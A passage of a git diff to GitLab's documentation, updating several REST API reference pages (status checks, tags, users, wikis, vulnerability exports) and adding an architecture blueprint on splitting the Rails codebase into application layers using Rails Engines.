/projects/:id/external_status_checks/:check_id +``` + +| Attribute | Type | Required | Description | +|------------------------|----------------|----------|----------------------------------------------------| +| `rule_id` | integer | yes | The ID of an status check | +| `id` | integer | yes | The ID of a project | + +### Update external status check **(ULTIMATE)** + +You can update an existing external status check for a project using the following endpoint: + +```plaintext +PUT /projects/:id/external_status_checks/:check_id +``` + +| Attribute | Type | Required | Description | +|------------------------|----------------|----------|----------------------------------------------------| +| `id` | integer | yes | The ID of a project | +| `rule_id` | integer | yes | The ID of an external status check | +| `name` | string | no | Display name of status check | +| `external_url` | string | no | URL of external status check resource | +| `protected_branch_ids` | `array<Integer>` | no | The ids of protected branches to scope the rule by | + +### Enable or disable External Project-level MR status checks **(ULTIMATE SELF)** + +Enable or disable External Project-level MR status checks is under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../user/feature_flags.md) +can enable it. + +To enable it: + +```ruby +# For the instance +Feature.enable(:ff_compliance_approval_gates) +# For a single project +Feature.enable(:ff_compliance_approval_gates, Project.find(<project id>)) +``` + +To disable it: + +```ruby +# For the instance +Feature.disable(:ff_compliance_approval_gates) +# For a single project +Feature.disable(:ff_compliance_approval_gates, Project.find(<project id>)) +``` + +To enable it: + +```ruby +# For the instance +Feature.enable(:ff_compliance_approval_gates) +# For a single project +Feature.enable(:ff_compliance_approval_gates, Project.find(<project id>)) +``` + +To disable it: + +```ruby +# For the instance +Feature.disable(:ff_compliance_approval_gates) +# For a single project +Feature.disable(:ff_compliance_approval_gates, Project.find(<project id>) +``` + +## Related links + +- [External status checks](../user/project/merge_requests/status_checks.md) diff --git a/doc/api/suggestions.md b/doc/api/suggestions.md index 0fcb6122505..ea9baa79b4a 100644 --- a/doc/api/suggestions.md +++ b/doc/api/suggestions.md @@ -7,6 +7,8 @@ type: reference, api # Suggest Changes API **(FREE)** +This page describes the API for [suggesting changes](../user/project/merge_requests/reviews/suggestions.md). + Every API call to suggestions must be authenticated. ## Applying suggestions diff --git a/doc/api/system_hooks.md b/doc/api/system_hooks.md index 101769e6323..1f0bce1c78f 100644 --- a/doc/api/system_hooks.md +++ b/doc/api/system_hooks.md @@ -8,8 +8,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w All methods require administrator authorization. -The URL endpoint of the system hooks can also be configured using the UI in -the **Admin Area > System Hooks** (`/admin/hooks`). +You can configure the URL endpoint of the system hooks from the GitLab user interface: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. Select **System Hooks** (`/admin/hooks`). Read more about [system hooks](../system_hooks/system_hooks.md). diff --git a/doc/api/tags.md b/doc/api/tags.md index 3ac4e8bb6ab..53a981256aa 100644 --- a/doc/api/tags.md +++ b/doc/api/tags.md @@ -123,7 +123,6 @@ Parameters: | `tag_name` | string | yes | The name of a tag | | `ref` | string | yes | Create tag using commit SHA, another tag name, or branch name | | `message` | string | no | Creates annotated tag | -| `release_description` | string | no | This parameter is [deprecated](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41766) for use in GitLab 11.7, and is planned for [removal](https://gitlab.com/gitlab-org/gitlab/-/issues/290311) in GitLab 14.0. Use the [Releases API](../api/releases/index.md) instead. | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/repository/tags?tag_name=test&ref=master" @@ -149,10 +148,7 @@ Example response: "committer_email": "jack@example.com", "committed_date": "2012-05-28T04:42:42-07:00" }, - "release": { - "tag_name": "1.0.0", - "description": "Amazing release. Wow" - }, + "release": null, "name": "v1.0.0", "target": "2695effb5807a22ff3d138d593fd856244e155e7", "message": null, @@ -182,82 +178,3 @@ Parameters: | ---------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | | `tag_name` | string | yes | The name of a tag | - -## Create a new release - -WARNING: -This feature is in its end-of-life process. It is [deprecated](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41766) -for use in GitLab 11.7, and is planned for [removal](https://gitlab.com/gitlab-org/gitlab/-/issues/290311) -in GitLab 14.0. Use the [Releases API](../api/releases/index.md) instead. - -Add release notes to the existing Git tag. If there -already exists a release for the given tag, status code `409` is returned. - -```plaintext -POST /projects/:id/repository/tags/:tag_name/release -``` - -Parameters: - -| Attribute | Type | Required | Description | -| ---------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | -| `tag_name` | string | yes | The name of a tag | - -Request body: - -- `description` (required) - Release notes with Markdown support - -```json -{ - "description": "Amazing release. Wow" -} -``` - -Response: - -```json -{ - "tag_name": "1.0.0", - "description": "Amazing release. Wow" -} -``` - -## Update a release - -WARNING: -This feature is in its end-of-life process. It is [deprecated](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41766) -for use in GitLab 11.7, and is planned for [removal](https://gitlab.com/gitlab-org/gitlab/-/issues/290311) -in GitLab 14.0. Use the [Releases API](../api/releases/index.md) instead. - -Updates the release notes of a given release. - -```plaintext -PUT /projects/:id/repository/tags/:tag_name/release -``` - -Parameters: - -| Attribute | Type | Required | Description | -| ---------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | -| `tag_name` | string | yes | The name of a tag | - -Request body: - -- `description` (required) - Release notes with Markdown support - -```json -{ - "description": "Amazing release. Wow" -} -``` - -Response: - -```json -{ - "tag_name": "1.0.0", - "description": "Amazing release. Wow" -} -``` diff --git a/doc/api/templates/dockerfiles.md b/doc/api/templates/dockerfiles.md index 6eedf8d2bc0..2d7e926561f 100644 --- a/doc/api/templates/dockerfiles.md +++ b/doc/api/templates/dockerfiles.md @@ -75,10 +75,6 @@ Example response: "name": "OpenJDK" }, { - "key": "OpenJDK-alpine", - "name": "OpenJDK-alpine" - }, - { "key": "PHP", "name": "PHP" }, diff --git a/doc/api/templates/gitlab_ci_ymls.md b/doc/api/templates/gitlab_ci_ymls.md index 9475febdaec..388556d354f 100644 --- a/doc/api/templates/gitlab_ci_ymls.md +++ b/doc/api/templates/gitlab_ci_ymls.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- diff --git a/doc/api/todos.md b/doc/api/todos.md index 864f87f988e..69c0f760a29 100644 --- a/doc/api/todos.md +++ b/doc/api/todos.md @@ -88,6 +88,7 @@ Example Response: "source_project_id": 2, "target_project_id": 2, "labels": [], + "draft": false, "work_in_progress": false, "milestone": { "id": 32, @@ -161,6 +162,7 @@ Example Response: "source_project_id": 2, "target_project_id": 2, "labels": [], + "draft": false, "work_in_progress": false, "milestone": { "id": 32, @@ -259,6 +261,7 @@ Example Response: "source_project_id": 2, "target_project_id": 2, "labels": [], + "draft": false, "work_in_progress": false, "milestone": { "id": 32, diff --git a/doc/api/users.md b/doc/api/users.md index ac8fbe8492f..0e7b197b106 100644 --- a/doc/api/users.md +++ b/doc/api/users.md @@ -207,7 +207,7 @@ Users on GitLab [Premium or higher](https://about.gitlab.com/pricing/) also see ``` Users on GitLab [Premium or higher](https://about.gitlab.com/pricing/) also see -the `group_saml` provider option: +the `group_saml` provider option and `provisioned_by_group_id` parameter: ```json [ @@ -220,6 +220,7 @@ the `group_saml` provider option: {"provider": "google_oauth2", "extern_uid": "8776128412476123468721346"}, {"provider": "group_saml", "extern_uid": "123789", "saml_provider_id": 10} ], + "provisioned_by_group_id": 123789 ... } ] @@ -374,7 +375,7 @@ the `shared_runners_minutes_limit`, `is_auditor`, and `extra_shared_runners_minu ``` Users on GitLab.com [Premium or higher](https://about.gitlab.com/pricing/) also -see the `group_saml` option: +see the `group_saml` option and `provisioned_by_group_id` parameter: ```json { @@ -388,6 +389,7 @@ see the `group_saml` option: {"provider": "google_oauth2", "extern_uid": "8776128412476123468721346"}, {"provider": "group_saml", "extern_uid": "123789", "saml_provider_id": 10} ], + "provisioned_by_group_id": 123789 ... } ``` @@ -630,7 +632,14 @@ GET /user } ``` -Users on GitLab [Premium or higher](https://about.gitlab.com/pricing/) also see the `shared_runners_minutes_limit`, `extra_shared_runners_minutes_limit`, `is_auditor`, and `using_license_seat` parameters. +Users on GitLab [Premium or higher](https://about.gitlab.com/pricing/) also see these +parameters: + +- `shared_runners_minutes_limit` +- `extra_shared_runners_minutes_limit` +- `is_auditor` +- `provisioned_by_group_id` +- `using_license_seat` ## User status @@ -684,6 +693,29 @@ Example response: } ``` +## Get user preferences + +Get a list of currently authenticated user's preferences. + +```plaintext +GET /user/preferences +``` + +Example response: + +```json +{ + "id": 1, + "user_id": 1 + "view_diffs_file_by_file": true, + "show_whitespace_in_diffs": false +} +``` + +Parameters: + +- **none** + ## User preference modification Update the current user's preferences. @@ -696,7 +728,8 @@ PUT /user/preferences { "id": 1, "user_id": 1 - "view_diffs_file_by_file": true + "view_diffs_file_by_file": true, + "show_whitespace_in_diffs": false } ``` @@ -705,6 +738,7 @@ Parameters: | Attribute | Required | Description | | :--------------------------- | :------- | :---------------------------------------------------------- | | `view_diffs_file_by_file` | Yes | Flag indicating the user sees only one file diff per page. | +| `show_whitespace_in_diffs` | Yes | Flag indicating the user sees whitespace changes in diffs. | ## Set user status @@ -723,7 +757,8 @@ PUT /user/status When both parameters `emoji` and `message` are empty, the status is cleared. When the `clear_status_after` parameter is missing from the request, the previously set value for `"clear_status_after` is cleared. ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "clear_status_after=1_day" --data "emoji=coffee" --data "message=I crave coffee" "https://gitlab.example.com/api/v4/user/status" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "clear_status_after=1_day" --data "emoji=coffee" \ + --data "message=I crave coffee" "https://gitlab.example.com/api/v4/user/status" ``` Example responses @@ -1058,7 +1093,8 @@ Parameters: | key | string | yes | The new GPG key | ```shell -curl --data "key=-----BEGIN PGP PUBLIC KEY BLOCK-----\r\n\r\nxsBNBFV..." --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/user/gpg_keys" +curl --data "key=-----BEGIN PGP PUBLIC KEY BLOCK-----\r\n\r\nxsBNBFV..." \ + --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/user/gpg_keys" ``` Example response: @@ -1169,7 +1205,8 @@ Parameters: | `key_id` | integer | yes | The ID of the GPG key | ```shell -curl --data "key=-----BEGIN PGP PUBLIC KEY BLOCK-----\r\n\r\nxsBNBFV..." --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/users/2/gpg_keys" +curl --data "key=-----BEGIN PGP PUBLIC KEY BLOCK-----\r\n\r\nxsBNBFV..." \ + --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/users/2/gpg_keys" ``` Example response: @@ -1579,7 +1616,8 @@ POST /users/:user_id/impersonation_tokens | `scopes` | array | yes | The array of scopes of the impersonation token (`api`, `read_user`) | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "name=mytoken" --data "expires_at=2017-04-04" --data "scopes[]=api" "https://gitlab.example.com/api/v4/users/42/impersonation_tokens" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "name=mytoken" --data "expires_at=2017-04-04" \ + --data "scopes[]=api" "https://gitlab.example.com/api/v4/users/42/impersonation_tokens" ``` Example response: @@ -1643,7 +1681,8 @@ POST /users/:user_id/personal_access_tokens | `scopes` | array | yes | The array of scopes of the personal access token (`api`, `read_user`, `read_api`, `read_repository`, `write_repository`) | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "name=mytoken" --data "expires_at=2017-04-04" --data "scopes[]=api" "https://gitlab.example.com/api/v4/users/42/personal_access_tokens" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "name=mytoken" --data "expires_at=2017-04-04" \ + --data "scopes[]=api" "https://gitlab.example.com/api/v4/users/42/personal_access_tokens" ``` Example response: diff --git a/doc/api/vulnerability_exports.md b/doc/api/vulnerability_exports.md index f70662c7c61..6d01d7e7d96 100644 --- a/doc/api/vulnerability_exports.md +++ b/doc/api/vulnerability_exports.md @@ -199,13 +199,13 @@ Example response: ```csv Group Name,Project Name,Scanner Type,Scanner Name,Status,Vulnerability,Details,Additional Info,Severity,CVE,CWE,Other Identifiers -Gitlab.org,Defend,container_scanning,Clair,detected,CVE-2017-16997 in glibc,,CVE-2017-16997 in glibc,critical,CVE-2017-16997 -Gitlab.org,Defend,container_scanning,Clair,detected,CVE-2017-18269 in glibc,,CVE-2017-18269 in glibc,critical,CVE-2017-18269 -Gitlab.org,Defend,container_scanning,Clair,detected,CVE-2018-1000001 in glibc,,CVE-2018-1000001 in glibc,high,CVE-2018-1000001 -Gitlab.org,Defend,container_scanning,Clair,detected,CVE-2016-10228 in glibc,,CVE-2016-10228 in glibc,medium,CVE-2016-10228 -Gitlab.org,Defend,container_scanning,Clair,detected,CVE-2010-4052 in glibc,,CVE-2010-4052 in glibc,low,CVE-2010-4052 -Gitlab.org,Defend,container_scanning,Clair,detected,CVE-2018-18520 in elfutils,,CVE-2018-18520 in elfutils,low,CVE-2018-18520 -Gitlab.org,Defend,container_scanning,Clair,detected,CVE-2018-16869 in nettle,,CVE-2018-16869 in nettle,unknown,CVE-2018-16869,CWE-1 +Gitlab.org,Defend,container_scanning,Trivy,detected,CVE-2017-16997 in glibc,,CVE-2017-16997 in glibc,critical,CVE-2017-16997 +Gitlab.org,Defend,container_scanning,Trivy,detected,CVE-2017-18269 in glibc,,CVE-2017-18269 in glibc,critical,CVE-2017-18269 +Gitlab.org,Defend,container_scanning,Trivy,detected,CVE-2018-1000001 in glibc,,CVE-2018-1000001 in glibc,high,CVE-2018-1000001 +Gitlab.org,Defend,container_scanning,Trivy,detected,CVE-2016-10228 in glibc,,CVE-2016-10228 in glibc,medium,CVE-2016-10228 +Gitlab.org,Defend,container_scanning,Trivy,detected,CVE-2010-4052 in glibc,,CVE-2010-4052 in glibc,low,CVE-2010-4052 +Gitlab.org,Defend,container_scanning,Trivy,detected,CVE-2018-18520 in elfutils,,CVE-2018-18520 in elfutils,low,CVE-2018-18520 +Gitlab.org,Defend,container_scanning,Trivy,detected,CVE-2018-16869 in nettle,,CVE-2018-16869 in nettle,unknown,CVE-2018-16869,CWE-1 Gitlab.org,Defend,dependency_scanning,Gemnasium,detected,Regular Expression Denial of Service in debug,,Regular Expression Denial of Service in debug,unknown,CVE-2021-1234,CWE-2,"""yarn.lock:debug:gemnasium:37283ed4-0380-40d7-ada7-2d994afcc62a""" Gitlab.org,Defend,dependency_scanning,Gemnasium,detected,Authentication bypass via incorrect DOM traversal and canonicalization in saml2-js,,Authentication bypass via incorrect DOM traversal and canonicalization in saml2-js,unknown,,,"""yarn.lock:saml2-js:gemnasium:9952e574-7b5b-46fa-a270-aeb694198a98""" Gitlab.org,Defend,sast,Find Security Bugs,detected,Predictable pseudorandom number generator,,Predictable pseudorandom number generator,medium,,,"""818bf5dacb291e15d9e6dc3c5ac32178:PREDICTABLE_RANDOM:src/main/java/com/gitlab/security_products/tests/App.java:47""" diff --git a/doc/api/wikis.md b/doc/api/wikis.md index 569708cdfcc..d6cc6f938b8 100644 --- a/doc/api/wikis.md +++ b/doc/api/wikis.md @@ -64,7 +64,7 @@ GET /projects/:id/wikis/:slug | Attribute | Type | Required | Description | | --------- | ------- | -------- | --------------------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | -| `slug` | string | yes | The slug (a unique string) of the wiki page | +| `slug` | string | yes | URLencoded slug (a unique string) of the wiki page, such as `dir%2Fpage_name` | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/wikis/home" @@ -97,7 +97,8 @@ POST /projects/:id/wikis | `format` | string | no | The format of the wiki page. Available formats are: `markdown` (default), `rdoc`, `asciidoc` and `org` | ```shell -curl --data "format=rdoc&title=Hello&content=Hello world" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/wikis" +curl --data "format=rdoc&title=Hello&content=Hello world" \ + --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/wikis" ``` Example response: @@ -125,10 +126,11 @@ PUT /projects/:id/wikis/:slug | `content` | string | yes if `title` is not provided | The content of the wiki page | | `title` | string | yes if `content` is not provided | The title of the wiki page | | `format` | string | no | The format of the wiki page. Available formats are: `markdown` (default), `rdoc`, `asciidoc` and `org` | -| `slug` | string | yes | The slug (a unique string) of the wiki page | +| `slug` | string | yes | URL-encoded slug (a unique string) of the wiki page, such as `dir%2Fpage_name` | ```shell -curl --request PUT --data "format=rdoc&content=documentation&title=Docs" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/wikis/foo" +curl --request PUT --data "format=rdoc&content=documentation&title=Docs" \ + --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/wikis/foo" ``` Example response: @@ -153,7 +155,7 @@ DELETE /projects/:id/wikis/:slug | Attribute | Type | Required | Description | | --------- | ------- | -------- | --------------------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | -| `slug` | string | yes | The slug (a unique string) of the wiki page | +| `slug` | string | yes | URL-encoded slug (a unique string) of the wiki page, such as `dir%2Fpage_name` | ```shell curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/wikis/foo" @@ -182,7 +184,8 @@ The `file=` parameter must point to a file on your file system and be preceded by `@`. For example: ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "file=@dk.png" "https://gitlab.example.com/api/v4/projects/1/wikis/attachments" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --form "file=@dk.png" "https://gitlab.example.com/api/v4/projects/1/wikis/attachments" ``` Example response: diff --git a/doc/architecture/blueprints/ci_scale/ci_builds_cumulative_forecast.png b/doc/architecture/blueprints/ci_scale/ci_builds_cumulative_forecast.png Binary files differindex fa34c7d1c36..d1e7db30b11 100644 --- a/doc/architecture/blueprints/ci_scale/ci_builds_cumulative_forecast.png +++ b/doc/architecture/blueprints/ci_scale/ci_builds_cumulative_forecast.png diff --git a/doc/architecture/blueprints/ci_scale/ci_builds_daily_forecast.png b/doc/architecture/blueprints/ci_scale/ci_builds_daily_forecast.png Binary files differindex b73a592fa6b..15f250e6b0e 100644 --- a/doc/architecture/blueprints/ci_scale/ci_builds_daily_forecast.png +++ b/doc/architecture/blueprints/ci_scale/ci_builds_daily_forecast.png diff --git a/doc/architecture/blueprints/ci_scale/index.md b/doc/architecture/blueprints/ci_scale/index.md index 99997e7b19b..6afa13bf207 100644 --- a/doc/architecture/blueprints/ci_scale/index.md +++ b/doc/architecture/blueprints/ci_scale/index.md @@ -28,7 +28,7 @@ store CI/CD data. We expect to see 20M builds created daily on GitLab.com in the first half of 2024. - + ## Goals @@ -46,9 +46,9 @@ Historically, Rails used to use [integer](https://www.postgresql.org/docs/9.1/da type when creating primary keys for a table. We did use the default when we [created the `ci_builds` table in 2012](https://gitlab.com/gitlab-org/gitlab/-/blob/046b28312704f3131e72dcd2dbdacc5264d4aa62/db/ci/migrate/20121004165038_create_builds.rb). [The behavior of Rails has changed](https://github.com/rails/rails/pull/26266) -since the release of Rails 5. The framework is now using bigint type that is 8 +since the release of Rails 5. The framework is now using `bigint` type that is 8 bytes long, however we have not migrated primary keys for `ci_builds` table to -bigint yet. +`bigint` yet. We will run out of the capacity of the integer type to store primary keys in `ci_builds` table before December 2021. When it happens without a viable @@ -89,7 +89,7 @@ Prophet](https://facebook.github.io/prophet/) shows that in the first half of to around 2M we see created today, this is 10x growth our product might need to sustain in upcoming years. - + ### Queuing mechanisms are using the large table @@ -101,7 +101,7 @@ want to process them. This mechanism is very inefficient, and it has been causing problems on the production environment frequently. This usually results in a significant drop -of the CI/CD apdex score, and sometimes even causes a significant performance +of the CI/CD Apdex score, and sometimes even causes a significant performance degradation in the production environment. There are multiple other strategies that can improve performance and diff --git a/doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md b/doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md new file mode 100644 index 00000000000..92717dc1fe9 --- /dev/null +++ b/doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md @@ -0,0 +1,614 @@ +--- +stage: none +group: unassigned +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +comments: false +description: 'Making a GitLab codebase composable - allowing to run parts of the application' +--- + +# Composable GitLab codebase - using Rails Engines + +The one of the major risks of a single codebase is an infinite growth of the whole +application. The more code being added results in not only ever increasing resource requirements +for running the application, but increased application coupling and explosion of the complexity. + +## Executive summary + +This blueprint discusses an impact of introducing **Application Layers** as a way to reduce and improve the application +codebase. This discusses the positive and negative outcomes of the proposed solution and tries to estimate the impact +on GitLab.com and smaller installations. + +**Application Layers** tries to split GitLab Rails codebase horizontally following the pattern of how we actually +run GitLab instead of vertical split. This follows the idea that a single feature needs to run in many different ways +(CI for example has Web interface, uses API, and performs background processing), and we are not able to easily +run only a given feature separate to the rest application (like CI) due to coupling. + +The proposal itself does allow us to disconnect some aspects of the features. These aspects could be treated +as components that are run separately from the rest of the stack, but still sharing a large portion of core. +This model could be implemented to provide an API interface for external tooling (Runners API, Packages API, Feature Flags Unleash API) +and allow us to have much better resiliency and much easier way to scale application in the future. + +The actual split was tested with the usage of [Rails Engines](https://guides.rubyonrails.org/engines.html) +implementing separate gems in a single repository. The [Rails Engines](https://guides.rubyonrails.org/engines.html) +allowed us to well describe the individual components with its dependencies and run an application +consisting of many Rails Engines. + +The blueprint aims to retain all key aspects of GitLab success: single and monolithic codebase (with a [single data-store](https://about.gitlab.com/handbook/product/single-application/#single-data-store)), +but allows us to better model application and make our codebase more composable. + +## Challenges of the Monolith (a current state) + +Today the usage of monolith proves to be challenging in many cases. A single big monolith +codebase without clear boundaries results in a number of problems and inefficiencies, some of them being: + +- Deep coupling makes application harder to develop in longer term, as it leads to a spaghetti implementation + instead of considering building more interface-based architecture +- Deep coupling between parts of the codebase making it harder to test. To test only a small portion of application + we usually need to run a whole test suite to confidently know which parts are affected. This to + some extent can be improved by building a heuristic to aid this process, but it is prone to errors and hard + to keep accurate at all times +- All components need to be loaded at all times in order to run only parts of the application +- Increased resource usage, as we load parts of the application that are rarely used in a given context +- The high memory usage results in slowing the whole application as it increases GC cycles duration + creating significantly longer latency for processing requests or worse cache usage of CPUs +- Increased application boot-up times as we need to load and parse significantly more files +- Longer boot-up times slows down the development, as running application or tests takes significantly longer + reducing velocity and amount of iterations + +## Composable codebase dimensions + +In general, we can think about two ways how codebase can be modeled: + +- **vertically** in Bounded Contexts, each representing a domain of the application, ex.: All features related to CI are in a given context +- **horizontally** in Application Layers: Sidekiq, GraphQL, REST API, Web Controllers, all Domain Models and Services that interface with DB directly + +This blueprint explicitly talks about **horizontal** split and **Application Layers**. + +## Current state of Bounded Contexts (**vertical** split) + +The Bounded Contexts is a topic that was discussed extensively number of times for a couple of years. +Reflected in number of issues: + +- [Create new models / classes within a module / namespace](https://gitlab.com/gitlab-org/gitlab/-/issues/212156) +- [Make teams to be maintainers of their code](https://gitlab.com/gitlab-org/gitlab/-/issues/25872) +- [Use nested structure to organize CI classes](https://gitlab.com/gitlab-org/gitlab/-/issues/209745) +- [WIP: Make it simple to build and use "Decoupled Services"](https://gitlab.com/gitlab-org/gitlab/-/issues/31121) + +We are partially executing a **Bounded Contexts** idea: + +- Make each team to own their own namespace, namespace which is defined as a `module` in a codebase +- Make each team to own their own tests, as namespaces would define a clear boundaries +- Since we use namespaces, individual contributor or reviewer can know who to reach from domain experts about help with + the given context + +The module namespaces are actively being used today to model codebase around team boundaries. Currently, the most +prominent namespaces being used today are `Ci::` and `Packages::`. They provide a good way to contain the code owned +by a group in a well-defined structure. + +However, the **Bounded Contexts** while it helps development, it does not help with the above stated goals. This is purely +a logical split of the code. This does not prevent deep-coupling. It is still possible to create a circular dependency (and it often happens) +between a background processing of CI pipeline and Runner API interface. +API can call Sidekiq Worker, Sidekiq can use API to create an endpoint path. + +The **Bounded Contexts** do not make our codebase smarter to know what depends on what, as the whole codebase +is treated as single package that needs to be loaded and executed. + +Possible additional considerations to the disadvantages of Bounded Context: + +- It can lead to tribal knowledge and duplicate code +- The deep coupling can make it difficult to iterate and make minimal changes +- Changes may have cascading effects that are difficult to isolate due to the vertical split + +## The Application Layers (**horizontal* split) + +While we continue leveraging **Bounded Contexts** in form of namespace separation that aids development and review process +the **Application Layers** can provide a way to create a clean separation between different functional parts. + +Our main codebase (`GitLab Rails` after a GitLab running on Ruby on Rails) consists many of implicit **Application Layers**. +There are no clear boundaries between each layer which results in a deep coupling. + +The concept of **Application Layers** looks at the application from the perspective of how we run the application +instead of perspective of individual features (like CI or Packages). GitLab application today can be decomposed into the following +application layers. This list is not exhaustive, but shows a general list of the different parts of a single monolithic codebase: + +- Web Controllers: process Web requests coming from users visiting web interface +- Web API: API calls coming from the automated tooling, in some cases also users visiting web interface +- Web Runners API: API calls from the Runners, that allows Runner to fetch new jobs, or update trace log +- Web GraphQL: provide a flexible API interface, allowing the Web frontend to fetch only the data needed thereby reducing the amount of compute and data transfer +- Web ActionCable: provide bi-directional connection to enable real-time features for Users visiting web interface +- Web Feature Flags Unleash Backend: provide an Unleash-compatible Server that uses GitLab API +- Web Packages API: provide a REST API compatible with the packaging tools: Debian, Maven, Container Registry Proxy, etc. +- Git nodes: all code required to authorize `git pull/push` over `SSH` or `HTTPS` +- Sidekiq: run background jobs +- Services/Models/DB: all code required to maintain our database structure, data validation, business logic and policies models that needs to be shared with other components + +The best way to likely describe how the actual GitLab Rails split would look like. It is a satellite model. +Where we have a single core, that is shared across all satellite components. The design of that implies +that satellite components have a limited way to communicate with each other. In a single monolithic application +in most of cases application would communicate with a code. In a satellite model the communication needs +to be performed externally to the component. This can be via Database, Redis or using a well defined exposed API. + +```mermaid +flowchart TD + subgraph Data Store + D[Database] + R[Redis] + end + subgraph Rails Engines + subgraph Data Access Layer + C[Core] + end + subgraph Web Processing + W[Web] + end + subgraph Background Processing + S[Sidekiq] + end + end + C --> D & R + W & S -- using application models --> C + R -- push background job --> S + W -- via async schedule --> S + S -- via Web API --> W +``` + +### Application Layers for on-premise installations + +The on-premise installations are significantly smaller and they usually run GitLab Rails in two main flavors: + +```mermaid +graph LR + gitlab_node[GitLab Node with Load Balancer] + + gitlab_node_web[Web running Puma] + gitlab_node_sidekiq[Background jobs running Sidekiq] + gitlab_node_git[Git running Puma and SSH] + + subgraph GitLab Rails + gitlab_rails_web_controllers[Controllers] + gitlab_rails_api[API] + gitlab_rails_api_runners[API Runner] + gitlab_rails_graphql[GraphQL] + gitlab_rails_actioncable[ActionCable] + gitlab_rails_services[Services] + gitlab_rails_models[Models] + gitlab_rails_sidekiq[Sidekiq Workers] + end + + postgresql_db[(PostgreSQL Database)] + redis_db[(Redis Database)] + + gitlab_node --> gitlab_node_web + gitlab_node --> gitlab_node_sidekiq + gitlab_node --> gitlab_node_git + + gitlab_node_web --> gitlab_rails_web_controllers + gitlab_node_web --> gitlab_rails_api + gitlab_node_web --> gitlab_rails_api_runners + gitlab_node_web --> gitlab_rails_graphql + gitlab_node_web --> gitlab_rails_actioncable + gitlab_node_git --> gitlab_rails_api + gitlab_node_sidekiq --> gitlab_rails_sidekiq + + gitlab_rails_web_controllers --> gitlab_rails_services + gitlab_rails_api --> gitlab_rails_services + gitlab_rails_api_runners --> gitlab_rails_services + gitlab_rails_graphql --> gitlab_rails_services + gitlab_rails_actioncable --> gitlab_rails_services + gitlab_rails_sidekiq --> gitlab_rails_services + + gitlab_rails_services --> gitlab_rails_models + + gitlab_rails_models --> postgresql_db + gitlab_rails_models --> redis_db +``` + +### Application Layers on GitLab.com + +Due to its scale, GitLab.com requires much more attention to run. This is needed in order to better manage resources +and provide SLAs for different functional parts. The chart below provides a simplistic view of GitLab.com application layers. +It does not include all components, like Object Storage nor Gitaly nodes, but shows the GitLab Rails dependencies between +different components and how they are configured on GitLab.com today: + +```mermaid +graph LR + gitlab_com_lb[GitLab.com Load Balancer] + + gitlab_com_web[Web Nodes running Puma] + gitlab_com_api[API Nodes running Puma] + gitlab_com_websockets[WebSockets Nodes running Puma] + gitlab_com_sidekiq[Background Jobs running Sidekiq] + gitlab_com_git[Git Nodes running Puma and SSH] + + subgraph GitLab Rails + gitlab_rails_web_controllers[Controllers] + gitlab_rails_api[API] + gitlab_rails_api_runners[API Runner] + gitlab_rails_graphql[GraphQL] + gitlab_rails_actioncable[ActionCable] + gitlab_rails_services[Services] + gitlab_rails_models[Models] + gitlab_rails_sidekiq[Sidekiq Workers] + end + + postgresql_db[(PostgreSQL Database)] + redis_db[(Redis Database)] + + gitlab_com_lb --> gitlab_com_web + gitlab_com_lb --> gitlab_com_api + gitlab_com_lb --> gitlab_com_websockets + gitlab_com_lb --> gitlab_com_git + + gitlab_com_web --> gitlab_rails_web_controllers + gitlab_com_api --> gitlab_rails_api + gitlab_com_api --> gitlab_rails_api_runners + gitlab_com_api --> gitlab_rails_graphql + gitlab_com_websockets --> gitlab_rails_actioncable + gitlab_com_git --> gitlab_rails_api + gitlab_com_sidekiq --> gitlab_rails_sidekiq + + gitlab_rails_web_controllers --> gitlab_rails_services + gitlab_rails_api --> 